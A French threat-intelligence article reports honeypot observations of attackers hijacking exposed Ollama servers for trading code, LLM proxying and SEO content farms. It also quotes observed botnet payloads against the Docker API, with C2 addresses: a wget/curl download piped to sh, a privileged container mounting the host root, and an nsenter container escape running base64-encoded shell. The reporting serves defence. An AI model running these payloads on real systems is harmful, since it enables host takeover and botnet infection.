Abus d'Ollama : des bots de trading aux fermes de contenu
Des instances Ollama ouvertes sont exploitées pour générer du code stratégique de trading, produire des contenus éducatifs et automatiser la création de textes SEO. Des pièges (honeypots) en Allemagne, aux États-Unis et en Russie ont enregistré des requêtes pour des modèles populaires comme llama3.1:8b et qwen2.5:7b. Les attaquants effectuent des reconnaissances, des vérifications de santé et des tests parallèles d'API avant d’exploiter les GPU d’autrui.
Reconnaissance et vérification de disponibilité
Les scanners commencent par des requêtes basiques pour valider le fonctionnement de l’instance. Les endpoints courants incluent :
GET /api/tags— liste des modèles disponibles via l’API Ollama.GET /v1/models— liste des modèles compatible OpenAI.GET /api/version— version du serveur.
Sur un nœud américain, 244 requêtes /v1/models et 58 requêtes /api/tags ont été enregistrées en une semaine. Un seul IP a effectué une vérification de santé toutes les 20 minutes en utilisant POST /v1/chat/completions avec le payload {"messages": [{"role": "user", "content": "health-check"}]} — répété 244 fois.
L’énumération des modèles suit un schéma prévisible : envoi d’un simple prompt comme Hello ou hi à des modèles tels que llama3.1:8b, qwen2.5:7b, codellama:13b, mistral:7b, deepseek:33b et llama3.2. Si un modèle répond, l’instance est marquée comme utilisable.
Exploitation : types de tâches
Après la reconnaissance, les tâches réelles débutent. Trois catégories ont été observées.
Bots de trading
Un pipeline sur un nœud américain génère du code stratégique de trading après une vérification de santé réussie :
{
"messages": [{
"role": "user",
"content": "Écris du code Python 3 pour :\ndef backtest_strategy(prices: list[float]) -> float:\nUtilise un SMA rapide de 10 périodes et un SMA lent de 50 périodes sur les prix, position longue quand le rapide > lent, plat/ court quand le rapide < lent, et retourne le PnL total sous forme de float. Output uniquement cette fonction, sans texte supplémentaire."
}]
}
La requête a été répétée 12 fois sur trois modèles via /api/chat, /v1/chat/completions et /v1/completions. Cela reflète une démarche systématique visant à obtenir gratuitement des ressources de calcul pour le trading algorithmique.
Proxy pour clients LLM
Une session avec un utilisateur chinois impliquait un client GLM qui transmettait l’intégralité de l’historique de conversation, y compris les prompts système et les réponses précédentes. Une requête pour des flashcards Anki sur Les Contradictions de la dialectique de Mao : 做一个学习毛泽东的矛盾论 有30张卡片的anki牌组. Test final : 你是什么模型 (Quel modèle es-tu ?).
Fermes de contenu
Sur un nœud russe, des prompts structurés pour du contenu SEO ont été utilisés :
Réponds à la question suivante de manière complète et détaillée.
Question : Comment les réseaux de neurones et l'apprentissage profond ont-ils transformé l'IA ?
RÈGLES :
- Donne une réponse complète et détaillée.
- NE REPPETE PAS la question.
- NE DONNE PAS d'introduction.
- TA DERNIÈRE ligne doit être exactement : ##ANSWER_DONE##
Réponse :
Le mot-clé ##ANSWER_DONE## est utilisé par les parseurs pour détecter la fin de la réponse. Les sujets portent sur l’apprentissage automatique et l’évolution de l’IA. Plusieurs modèles ont été interrogés en parallèle, avec une approche en chaîne de raisonnement appliquée aux questions.
Attaques sur l'infrastructure parallèle
Les scanners Ollama s’associent souvent à des attaques contre Docker (port 2375) et Kubelet (port 10250).
Exploits Docker
Le botnet docker.selfrep (C2 : 31.57.216.121) exécute :
{
"Cmd": ["sh", "-c",
"(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}
Un botnet plus dangereux (C2 : 45.194.92.39) utilise des conteneurs privilégiés :
{
"Image": "alpine",
"Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}
Alternative : évasion via nsenter :
{
"Cmd": ["nsenter", "--target", "1",
"--mount", "--uts", "--ipc", "--net", "--pid",
"--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}
Reconnaissance Kubelet
Les requêtes vers /api/v1/pods, /healthz et /update_weights_from_tensor (spécifique à l’IA) indiquent des tentatives pour localiser des pipelines d’apprentissage automatique.
Points clés
- Les instances Ollama ouvertes sont intégrées à des pipelines de trading, d’éducation et de SEO sans authentification.
- Les vérifications de santé et l’énumération des modèles (llama3.1, qwen2.5, etc.) sont des comportements standards des scanners automatisés.
- Les attaques Docker combinent l’évasion de conteneur via nsenter avec des montages privilégiés et une obfuscation en base64.
- Des marqueurs comme
##ANSWER_DONE##ethealth-checkaident à repérer les fermes de bots. - La protection nécessite un lien local, un proxy inversé et une surveillance du trafic.
— Editorial Team
Aucun commentaire pour le moment.